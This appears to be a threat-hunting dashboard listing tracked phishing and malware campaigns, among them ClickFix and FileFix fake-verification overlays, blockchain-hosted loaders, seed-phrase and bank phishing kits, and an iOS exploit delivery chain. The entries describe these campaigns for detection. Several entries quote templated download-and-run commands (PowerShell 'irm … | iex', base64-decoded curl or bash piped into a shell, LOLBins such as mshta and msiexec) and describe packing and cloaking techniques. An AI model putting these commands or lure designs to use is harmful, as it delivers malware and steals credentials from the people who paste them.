Threat Hunting

Tracked hunts and campaigns, each anchored to a script fingerprint, a YARA rule, a search query or a TLS certificate. Every scanned script and page is matched against them automatically.

299 hunts·35 hit in the last 24 hours·59,455 sightings

Add hunt

Last hit, across 299 hunts

SortGroup by family

Severity

Showing 1–30 of 299 hunts · sorted by last hit

UNC6671 / 0ktapus — SSO, MFA and passkey phishing domains (October 2026 wave)
criticalunc6671-passkey-sso-2026-09phishingmatches by YARA + queryadded 2026-10-13
Targeted identity-provider phishing attributed in public reporting to UNC6671, the vishing and extortion group behind the BlackFile, Redact, Pink, Helix and Falcon brands, and listed by public threat lists under the 0ktapus cluster. Callers pose as the IT helpdesk and walk employees through an urgent SSO, passkey or MFA enrolment on a look-alike Okta or Microsoft sign-in page, where an adversary-in-the-middle panel relays the password and second factor to the real provider in real time. The lure host is a subdomain named after the targeted organisation; the sign-in page stays blank behind a spinner until the operator approves the session, so it screens automated visitors. The row matches in two ways. The stronger is the structure of the group's two operator panels: one pushes each sign-in, MFA and passkey step to the browser over a live socket and switches between an Okta and a Microsoft look; the other holds the victim on a spinner that polls a heartbeat until the operator releases the session, then sends the typed credentials back to the panel. The weaker is the group's current root domains, which follow its identity/MFA naming pattern.
sightings
11
hosts
6
last hit
30 min ago
MetaMask 'Secret Recovery Phrase' restore-wallet phishing kit on Cloudflare R2 public buckets
highmetamask-r2-seed-phrase-kit-2026-10phishingmatches by queryadded 2026-10-13
Pages that copy MetaMask's 'Access your wallet with your Secret Recovery Phrase' restore screen and steal the phrase, which gives the attacker full control of the wallet. They are hosted on Cloudflare R2 public buckets (pub-<32 hex>.r2[.]dev), one bucket per lure, titled simply 'MetaMask'. After a short fake loading screen, the visitor picks a 12-, 15-, 18-, 21- or 24-word phrase from a dropdown and fills numbered password-style boxes; pasting the whole phrase into any box fills them all. A gibberish check rejects random input, so only a real-looking phrase is sent. The phrase is posted in the background to a PHP script on a separate collection host, and the visitor is then shown a countdown and sent to the genuine metamask.io, so nothing looks wrong. Images, the logo and the eye icons are loaded from a separate asset host shared by most copies. Seen since October 2025, most active from July 2026. MetaMask never asks for a Secret Recovery Phrase on a website; the phrase is only ever typed into the wallet app or extension itself.
sightings
2,280
hosts
548
last hit
33 min ago
IClickFix: ClickFix injections on compromised sites (Ethereum Sepolia loader and multi-theme verification overlay)
criticaliclickfix-sepolia-2026-10phishingmatches by YARA + queryadded 2026-10-07
Script injected into compromised websites, wrapped as [].constructor.constructor(atob("...")). For Windows visitors it reads an encrypted stage from a smart contract on the Ethereum Sepolia test network (EtherHiding), decrypts and runs it; that stage loads a ClickFix lure from a host that the operator rotates every few days, which asks the visitor to paste and run a command. The contract carries the stage itself, so the match is on the injected loader and on the hosts the stage has used. The same name is used publicly for a second kit: a verification overlay served as a script from <host>/<campaign>/api and packed differently for every request. It draws a fake CAPTCHA, Cloudflare or Microsoft check in the visitor's language and copies a command chosen by operating system. Windows visitors are told to open the Run dialog or the Win + X menu and paste a PowerShell command (irm '<host>/<campaign>/<id>' -UserAgent 'WUA/<id>' ... | iex); Mac visitors get curl -s $(echo "..." | base64 -d) | zsh or bash, which downloads a stealer publicly labelled AMOS. The overlay reports each step (copy, run, download) back to its host, and removes other malicious scripts injected into the same site, such as competing fake-verification injectors and cryptocurrency wallet drainers. It has been injected into small-business WordPress sites since mid-September 2026 and is also loaded by stand-alone look-alike pages, such as a fake 'Сloudflare' page at cloudflare[.]vc and a fake LinkedIn bot check at antibot-linkedin[.]com (October 2026). Since mid-October the Windows commands of every campaign point at t-trustrest[.]com, whose PowerShell stages check each download against a fixed hash and end in an executable or a large ZIP archive. No legitimate verification step asks visitors to run a command.
sightings
1,555
hosts
1,258
last hit
40 min ago
ErrTraffic / Exvicy — check-in servers (178.16.52.101, 158.94.208.87) and their rotating domains
criticalexvicy-errtraffic-2026-09phishingmatches by queryadded 2026-09-23
Pages whose ClickFix lure checked in with the rotating status server shared by ErrTraffic-style lures, or that triggered the public Emerging Threats ErrTraffic signatures. Since July 2026 the check-in domains have changed every few weeks, almost all on one address, 178.16.52.101; from mid-September 2026 lovezramexar.info served the same check-in script from a second address, 158.94.208.87.
sightings
875
hosts
854
last hit
40 min ago
ErrTraffic / Exvicy — injected WordPress loader, current minified template (YARA)
criticalexvicy-errtraffic-2026-09phishingmatches by YARAadded 2026-09-23
The inline loader that ErrTraffic and Exvicy inject into compromised WordPress pages, in the minified form seen from late August 2026: a Base64 blob XOR-decoded character by character and run through new Function. Only the variable names, the key and the blob change between sites.
sightings
384
hosts
317
last hit
40 min ago
Meta 'Page Appeal' kit — sp*ct-biz8 pages.dev host cohort (SMQL tracker)
highmeta-page-appealphishingmatches by queryadded 2026-07-23
Cloned Meta/Facebook 'Page Appeal' credential-phishing kit deployed across a burst of throwaway Cloudflare Pages hosts with the naming scheme sp[1-6]ct-<word>-biz8-<word>-<word>.pages.dev (from 2026-07-20). Decoy variants render a fake Facebook homepage (title 'Facebook', real fbcdn assets) or are already blocked by Cloudflare ('Suspected Malware | Cloudflare' interstitial). Captures that load the kit also match the script-hash entries in this family (0693dd46…); this host-pattern entry tracks the whole cohort, including decoy and interstitial captures that no script anchor can reach.
sightings
6,071
hosts
981
last hit
1 h ago
Fake VPN-client and password-manager look-alikes from one search-poisoning operator (WatchGuard, GlobalProtect, FortiClient, RD Web Access, Bitwarden)
criticalspicas-dns-lure-cluster-2026-09phishingmatches by YARA + queryadded 2026-09-25
One operator runs look-alike download and sign-in pages for corporate VPN and remote-access clients (WatchGuard Mobile VPN with SSL and Firebox, Palo Alto GlobalProtect, FortiClient, SonicWall NetExtender, Sophos Connect, Citrix, Microsoft Remote Desktop Web Access, VMware ESXi, Veeam) and for password managers (1Password, Bitwarden, NordPass, Proton Pass), and pushes them up search results. A visitor who arrives from a search engine on a desktop browser gets a saved copy of the vendor's own download page; everyone else, including crawlers and most phones, gets an innocent-looking 'independent fan site'. On the copy, the Download button opens a pop-up asking for the VPN server, login and password. The first attempt is always rejected as 'incorrect data', so the victim types the password a second time; both rounds are sent to a collector such as watchguard-ssl[.]online or globalget[.]lol, and the vendor's genuine, signed installer then downloads so that nothing looks wrong. Other variants: a copy of the Remote Desktop Web Access sign-in page that sends the form to winmtr-download[.]org and always ends on a login error, and FortiClient pages where any click downloads a ZIP holding an .hta 'VPN client' that sends the gateway, username and password to blagmatt[.]top. The password-manager look-alikes 1password-login[.]com and bitwarden-vault[.]org belong to the same operator: their decoy pages carry the same site-verification codes as the VPN look-alikes, and the collectors run on the same servers (158.94.209[.]214, nameservers coral.spicas[.]top / harbor.spicas[.]top). Because the real page is shown only to search visitors, a harmless-looking capture of one of these hosts is not evidence that it is safe.
sightings
23
hosts
19
last hit
1 h ago
Fortnite "locker value" checkers: fake "Log in with Epic" page behind a shape-order captcha
criticalfortnite-locker-epic-login-kit-2026-10phishingmatches by YARA + queryadded 2026-10-20
Fake Fortnite "locker value" and "inventory checker" sites that offer to price a player's skins, emotes and V-Bucks, then send the visitor to a look-alike Epic Games sign-in page on the same site (/id/login) to take over the account. Every site sits behind a home-made captcha ("Tap the targets": click four noisy shapes in a set order) that fingerprints the browser and turns away automated visitors, so most scanners only ever see a page titled "Loading"; some crawlers that pass are shown a plain-text "free locker checker" decoy instead. More than 100 look-alike names built from fort-, fn-, locker-, vbucks- and epic- (for example epic-price[.]com, fortnite-scan[.]com, lockercheck[.]net, zyntara[.]top) have gone live since 2026-10-13, all served from one server (193.187.110[.]10), which also hosts Valorant, casino and payment-card themed lures. A match means a scan of one of these hosts or of that server.
sightings
113
hosts
63
last hit
1 h ago
Canadian bank "2FA" and "secure" look-alike domains (TD, RBC, CIBC, BMO, Scotiabank, Desjardins) behind a slider-puzzle gate
criticalcanadian-bank-2fa-lookalikes-2026-10phishingmatches by YARA + queryadded 2026-10-27
Phishing domains that impersonate Canadian banks and payment services (TD, RBC, CIBC, BMO, Scotiabank, Desjardins AccèsD, Tangerine, Simplii, ATB, Vancity, Interac, Canada Post and SAAQ), named for a security, PIN-reset or two-factor step. Examples: td2fasecure[.]com, cibc2fasecure[.]com, rbc2fasecure[.]com, bmosecure2fa[.]com, cibc-pin-reset[.]com, accesd-securite-web[.]com, saaqclic-royalbank[.]com, tdsecureonlineportal[.]com, cibcresolutions[.]com, scotiabank2fadevice[.]com, securerbcdevice2fa[.]com and simplii2fa[.]com. The operator registers them in bulk, often weeks before use, all on the same DNS provider, and points them at a few rented servers that change every few days. The site root answers with an empty web-server 404 and the lure sits on a per-victim link, typically sent by text message; some of the servers refuse visitors from outside the target country. One captured page put a slider puzzle and a proof-of-work browser check ("Verify you're human") in front of the lure. A match means a page carrying that gate code, or a scan of the domains or server addresses in the search anchor.
sightings
14
hosts
12
last hit
2 h ago
Meta 'Account Support Center' intellectual-property violation kit (Facebook Page takeover)
highmeta-account-support-ip-violation-kitphishingmatches by YARA + queryadded 2026-10-17
Facebook/Meta Page-takeover phishing on disposable EdgeOne Pages hosts (*.edgeone[.]dev). The host root is a decoy: a website-copier mirror of a well-known developer site whose links are all rewritten to /home, or a 'Meta Help Centre' page that redirects there. /home, titled 'Account Support Center', claims the account is 'scheduled for permanent disabling' over intellectual-property violations; its only button leads to /career-skill, an 'Information Form - Meta for Business' that asks for full name, Page name, business and personal e-mail and phone, then the Facebook password, sends them out through a third-party e-mail API and continues to a /verfial step. The lure is a mirrored Next.js support-centre template; the kit's own scripts carry Vietnamese developer comments.
sightings
2,938
hosts
1,472
last hit
2 h ago
Fake "AI trading platform" investment sites that collect sign-ups and confirm the phone number by SMS for call-centre fraud
criticalai-trading-lead-funnel-2026-10phishingmatches by YARA + queryadded 2026-10-27
Fake investment platforms that present an "AI trading" or "AI capital management" service under an invented brand name, in a dozen or more languages, with no verifiable company, address or financial licence. Examples: elynqorevazemixtrade[.]com, flowfoundex[.]net, franquianca[.]net, swissapexai[.]com, fokurizuziri[.]com, aiglerentivo[.]com, and names borrowing well-known companies such as euronics-ai[.]com, gcash-ai[.]com and flexport-ai[.]com. The sign-up form asks for name, email and phone number and confirms the phone number with an SMS one-time code before the lead is passed on, the pattern of investment-fraud call centres that phone victims afterwards. The form is shown only on some visits, so a capture often holds just the marketing page, but the hidden lead-capture and SMS-verification code is on every page. The domains are registered in bulk and served either from one dedicated hosting server or behind a CDN. A match means a page carrying the funnel's lead-capture and SMS-verification code, or a scan of the campaign's hosting server address.
sightings
207
hosts
159
last hit
3 h ago
Windows ClickFix: 'Human Verification' overlay (Win+X, Terminal) — injected blockchain loader
criticalclickfix-winx-overlay-2026-10phishingmatches by YARA + queryadded 2026-10-01
Compromised websites carrying an injected, packed script that looks up the current overlay host in a Polygon smart contract and loads a fake Cloudflare-style 'Human Verification' overlay from it. The overlay tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter; the pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). Because the overlay host is read from the blockchain, it changes without the compromised sites being touched; it has moved several times, for example to browseid[.]codes in early October 2026 and to checkyoubrowse[.]codes on 8 October. The loader is packed (an integer array, XOR, base64, XOR, then new Function), and some sites carry it inside a modified theme or plugin script rather than in the page. No legitimate verification step asks visitors to run a command.
sightings
2,437
hosts
1,479
last hit
3 h ago
Self-hosted Turnstile gate kit — "Verifying site connection..." sc.php loader (YARA content anchor)
highturnstile-gate-kit-202609phishingmatches by YARAadded 2026-09-17
The loader shape of the same operation on anonymous object-storage buckets: a small Turnstile interstitial carrying a hidden input id b64u whose value is a base64 https:// next-stage URL on a third-party (usually compromised) site, beside a cross-origin script from an admin/js/sc.php path. Some carry a victim email token in the URL fragment. Matched by a YARA rule on the page HTML.
sightings
1,269
hosts
325
last hit
5 h ago
Meta Verified 'rewards' phishing (safe-badge kit)
highmeta-verified-rewardsphishingmatches by script + YARA + queryadded 2026-07-04
Facebook/Meta 'Meta Verified — rewards for you' credential-phishing campaign on disposable hosting (pages.dev and vercel.app tenants such as safe-badge-* and bluetick-*). A distinct kit from the Meta Page-Appeal campaign, luring users with a fake paid-verification reward. Tracked by the lure's page title and by the kit's own page scripts.
sightings
1,384
hosts
269
last hit
5 h ago
Fake Adobe 'Download Document' page delivering a remote-management agent
criticaladobe-secure-document-rmm-2026-10phishingmatches by YARA + queryadded 2026-10-14
A fake Adobe file-sharing page, planted in a folder on compromised websites and on a few attacker-registered domains. A first page checks the visitor's browser and IP address and turns away Edge, Mac and mobile visitors; Windows visitors then see an Adobe-branded 'You've received a secured document' dialog over a picture of an Adobe file list, usually naming a document after the business the email targets. Its Download button leads to a page claiming an 'Adobe plugin' is missing, which silently downloads a file. That file is a genuine remote-management (RMM) agent pre-configured for the operator's own account (ScreenConnect, FleetDeck or GoTo Resolve, varying from site to site), sometimes wrapped in a batch or VBScript file that asks for administrator rights and installs it silently. Once installed, the operator has remote control of the computer. Reported on doboski[.]top on 2026-10-14, with a self-hosted ScreenConnect server at 2.27.21[.]82.
sightings
280
hosts
33
last hit
7 h ago
Meta 'Page Appeal' credential phishing (scanner-cloaked)
highmeta-page-appealphishingmatches by queryadded 2026-07-04
Facebook/Meta 'Business — Page Appeal' credential-phishing campaign on disposable hosting (pages.dev/vercel/netlify/workers). The kit cloaks scanners three ways — redirecting datacenter IPs to real facebook.com, serving them a blank decoy shell, or showing the lure directly — while residential clients always get the Meta-branded appeal lure. Tracked by the lure's page title so all three variants are grouped together.
sightings
8,208
hosts
4,278
last hit
7 h ago
Windows ClickFix: paste-into-Terminal instructions via Win+X — page content
highclickfix-winx-overlay-2026-10phishingmatches by YARAadded 2026-10-01
Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.
sightings
683
hosts
630
last hit
8 h ago
ClickFix FakeCAPTCHA — LOLBin variant (msiexec/mshta/wmic/etc.)
criticalclickfix-fakecaptchaphishingmatches by YARAadded 2026-05-27
Same fake-CAPTCHA flow as the PowerShell variant but the copied command is a non-PowerShell Windows LOLBin (msiexec /i <URL>, mshta, wmic, certutil, regsvr32, curl, iex, Invoke-Expression). First observed on 00c29c34fd.nxcli.io, reported to ThreatFox under the IClickFix tag. Markup-tolerant string matchers (R / V / Enter) catch kits whose instruction text is HTML-formatted.
sightings
171
hosts
77
last hit
8 h ago
macOS ClickFix: fake verification page with paste-into-Terminal instructions — page content
highmacos-clickfix-terminal-2026-10phishingmatches by YARAadded 2026-10-01
Fake verification pages ('I'm not a robot', 'Manual verification', 'Verify you are human') that copy a shell command to the visitor's clipboard and tell Mac users to open Terminal with Command+Space, paste with Command+V and press Return. The pasted command downloads and runs a script, usually disguised: base64 decoded straight into a shell (for example bash <<< $(echo "…" | base64 -d)), or a download from a throwaway tunnel address piped into sh. Seen on Cloudflare Pages sites such as securecheckv1-proceed[.]pages[.]dev and quicksecurity-checkpointv1[.]pages[.]dev (since at least September 2026), whose payload hosts virelianmatrix[.]digital and aetherframework[.]digital are publicly labelled ClearFake; in a multi-platform ClickFix overlay injected into compromised websites, whose macOS branch fetches from escapeai[.]live (publicly labelled AMOS); and in a document-signing lure described in a September 2026 report on the AvisLoader malware. No legitimate verification step asks visitors to run a command in Terminal.
sightings
91
hosts
29
last hit
8 h ago
Meta 'Page Appeal' kit — 0693dd46 bundle cohort (content anchor)
highmeta-page-appealphishingmatches by scriptadded 2026-07-11
Facebook/Meta Business Page-Appeal credential-phishing kit: a newer bundle build (rotated JS hash) not covered by the main.ca88c9b6.js / main.c3146523.js entries. Same three-way cloaking (redirect to the real facebook.com / blank decoy / lure). The 0693dd46 script is present across all capture variants: the Facebook decoy page, the 'Meta for Business | Page Appeal' lure, and the Cloudflare Suspected-Phishing interstitial. Byte-identical kit bundle; not seen on legitimate pages.
sightings
8,275
hosts
4,278
last hit
9 h ago
Meta 'Page Appeal' kit — main.1580aa47.js cohort (content anchor)
highmeta-page-appealphishingmatches by scriptadded 2026-07-07
Facebook/Meta 'Business — Page Appeal' credential-phishing campaign on disposable hosting (pages.dev/vercel/netlify/workers). The kit cloaks scanners three ways — redirecting datacenter IPs to real facebook.com, serving them a blank decoy shell, or showing the lure directly — while residential clients always get the Meta-branded appeal lure. This entry tracks one build of the kit's React bundle.
sightings
5,904
hosts
2,806
last hit
9 h ago
UK mobile "account recovery" kit: carrier and bank look-alikes that show the lure only to UK phones
criticaluk-mobile-recovery-ownerinfo-kit-2026-10phishingmatches by YARA + queryadded 2026-10-20
One phishing kit used by several operators against customers of UK mobile carriers, banks and other services (EE, O2, Lloyds, Santander, Student Finance England and Evri have been seen). Each copy is a single-page app on free hosting with an "account recovery", "pending payment" or "billing" name, such as ee-recover-account[.]web.app. A config file decides who sees the lure: computers and crawlers are sent to the brand's real website, and an IP check sends visitors outside the UK there too, so only a UK phone gets the fake pages. Those ask for the account login, personal details, the card number with its expiry and security code, bank account details, one-time codes and the number-porting (PAC) code, which lets the operator move the victim's phone number to a SIM they control. Each step goes to the operator's backend. A match means a page carrying the kit's code, or a scan that contacted one of its known backends.
sightings
323
hosts
69
last hit
10 h ago
ClearFake — blockchain contract loaders on compromised sites (Polygon, BSC testnet)
criticalclearfake-polygon-loader-2026-10phishingmatches by YARA + queryadded 2026-10-01
Script injected into compromised websites. For Windows visitors that are not crawlers it reads a list of servers from a Polygon smart contract (EtherHiding: eth_call to selector 0x3bc5de30 through public RPC nodes), decodes it, and loads <server>/js/all.min.js?m=1, the next stage of a ClickFix chain. The servers rotate through the contract, so the match is on the loader code, not on any host. Older and parallel versions of the same injection read a BNB Smart Chain TESTNET contract instead (the original 2023 EtherHiding design: get() returns the next-stage reader), and check the visitor's location with a public IP-information endpoint first.
sightings
1,810
hosts
1,528
last hit
10 h ago
DarkSword iOS exploit kit: fake captcha gate with a hidden exploit iframe (Coruna wallet stealer)
criticaldarksword-ios-exploit-2026-10stealermatches by script + YARA + queryadded 2026-10-09
Delivery pages of the DarkSword iOS exploit chain, which installs the Coruna crypto-wallet stealer (recovery phrases and keystores from Bitpie, Coinbase, Exodus, imToken, MetaMask, Phantom, Trust Wallet, Bitget, BitKeep and others). The page poses as a 'Security verification' captcha, so far branded as OKX. A desktop visitor is told the site is not available on desktop and is shown a QR code to open it in Safari on a phone. A hidden x-safari-https:// link breaks out of the Facebook, Instagram and Line in-app browsers. A 0x0 iframe placed off-screen (/gooll/gooll.html) reads the iOS version (13 to 18, iPad included) and loads the exploit stages from a separate stage host. When it is done it asks the page to navigate to the genuine brand site, so the victim ends up on the real exchange. A second delivery route uses hidden 1x1 iframes, injected into hacked websites (mostly WordPress) and placed on lure pages: fake invitations to a government industry summit, TRON 'energy' rental, crypto wallets, video, escort and gambling pages. The iframe loads a loader page such as /qqtime/qqtime.html, which runs an obfuscated script that sends the visitor's IP address and device details to the operator and, on an iPhone, picks an exploit by iOS version. A routing script on one lure sends iOS 13 to 17 to the Coruna exploit chain, iOS 18 to DarkSword and newer versions to a third chain.
sightings
597
hosts
154
last hit
10 h ago
macOS ClickFix: fake verification page staging a disguised Terminal command — page code
criticalmacos-clickfix-terminal-2026-10phishingmatches by YARAadded 2026-10-01
Fake verification pages ('I'm not a robot', 'Manual verification', 'Verify you are human') that copy a shell command to the visitor's clipboard and tell Mac users to open Terminal with Command+Space, paste with Command+V and press Return. The pasted command downloads and runs a script, usually disguised: base64 decoded straight into a shell (for example bash <<< $(echo "…" | base64 -d)), or a download from a throwaway tunnel address piped into sh. Seen on Cloudflare Pages sites such as securecheckv1-proceed[.]pages[.]dev and quicksecurity-checkpointv1[.]pages[.]dev (since at least September 2026), whose payload hosts virelianmatrix[.]digital and aetherframework[.]digital are publicly labelled ClearFake; in a multi-platform ClickFix overlay injected into compromised websites, whose macOS branch fetches from escapeai[.]live (publicly labelled AMOS); and in a document-signing lure described in a September 2026 report on the AvisLoader malware. No legitimate verification step asks visitors to run a command in Terminal.
sightings
54
hosts
16
last hit
10 h ago
Windows FileFix: paste-into-File-Explorer instructions (Win+E, Ctrl+L) — page content
criticalfilefix-explorer-2026-10phishingmatches by YARAadded 2026-10-04
Fake verification pages that copy a command to the clipboard and tell the visitor to open File Explorer (Win+E), select its address bar (Ctrl+L), paste with Ctrl+V and press Enter. Text pasted into the File Explorer address bar is run as a command, so this is ClickFix without the Run dialog (known as FileFix). First seen here on 2026-10-04 on a Russian-language fake reCAPTCHA ('document access confirmation') whose command downloads a PowerShell script, mounts a disk image named like a tax document and runs an executable behind a decoy PDF. The same File Explorer steps also appear as an option in a multi-language ClickFix kit injected into compromised websites. No legitimate verification step asks visitors to run a command.
sightings
36
hosts
14
last hit
10 h ago
Allegro Lokalnie fake listing and checkout phishing kit (Poland)
highallegro-lokalnie-fake-offer-kitphishingmatches by YARA + queryadded 2026-10-17
Fake Allegro Lokalnie listings used in marketplace buyer/seller scams in Poland. The victim gets a link to a cloned listing on a look-alike host (allegrolokalnie.pl-oferta<digits>[.]click / [.]icu / [.]cfd, allegro.pl-smart<digits>[.]sbs, allegro.<digits>[.]pl and similar); 'Kup teraz' leads to a fake delivery and payment step (/oferta/<slug>/<id>/dostawa) and the header login link to /logowanie/<id>. The kit serves its own /static/allegrolokalnie_main.js and a photo carousel with Polish developer comments; an older build re-hosted the listing photos under Telegram file ids (/data/AQAD...). The bare host usually answers 404, a one-line API banner, a parking page or a redirect to the real marketplace, so only the listing URL shows the lure.
sightings
250
hosts
177
last hit
11 h ago
Self-hosted Turnstile gate kit — five-dot "Just a moment....." cfForm gate (YARA content anchor)
highturnstile-gate-kit-202609phishingmatches by YARAadded 2026-09-17
A fake Cloudflare challenge served by the phishing kit itself (HTTP 200, no cf-mitigated header): the kit renders its own Turnstile widget and, on success, auto-submits a POST form with id cfForm (callback verifyCallback_CF) back to itself, which only then serves the credential page. Automated visitors that cannot pass the gate only ever see this page. Matched by a YARA rule on the page HTML.
sightings
144
hosts
22
last hit
13 h ago
Hacked online stores loading a hidden script that shows a fake Chrome update or a fake Cloudflare check (Magento CMS-block loader)
criticaldeepvein-magento-cms-block-loader-2026-10phishingmatches by YARA + queryadded 2026-10-27
Criminals who break into online shops, mostly Magento, add a small script to the shop's content blocks. The script keeps code in the visitor's browser storage and runs it on every later page view, and asks the operator's server what to show next. The server first checks whether the visitor is an automated browser and sends those nothing. Real visitors have been shown a fake Cloudflare 'verify you are human' check that copies a command to the clipboard and asks the visitor to run it (it schedules PowerShell to download more code every minute), and since October 2026 a full-page 'Update your Chrome' dialog that downloads UpdateChrome.cmd, which installs a bundled Python program. Until September the script went through a commercial traffic-distribution tracker with its address hidden in base64; the same snippet also turned up appended to a WordPress site's script file. The operator moves to a new address every few months: deepveindrilling[.]com since October 2026, before it additionalver[.]com, pleasewaitcenter[.]top, lanhd6549tdhse[.]top, neswnsssn[.]click and manulfie[.]click, with stage hosts such as promo-chatgpt[.]com and veruisuealx[.]xyz. A match means a page carrying the loader, the tracker snippet or one of the later stages, or a page that contacted one of these hosts.
sightings
24
hosts
12
last hit
13 h ago
Windows ClickFix: injected 'Human Verification' overlay (Win+X, Terminal) — overlay code
criticalclickfix-winx-overlay-2026-10phishingmatches by YARAadded 2026-10-01
Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.
sightings
433
hosts
420
last hit
19 h ago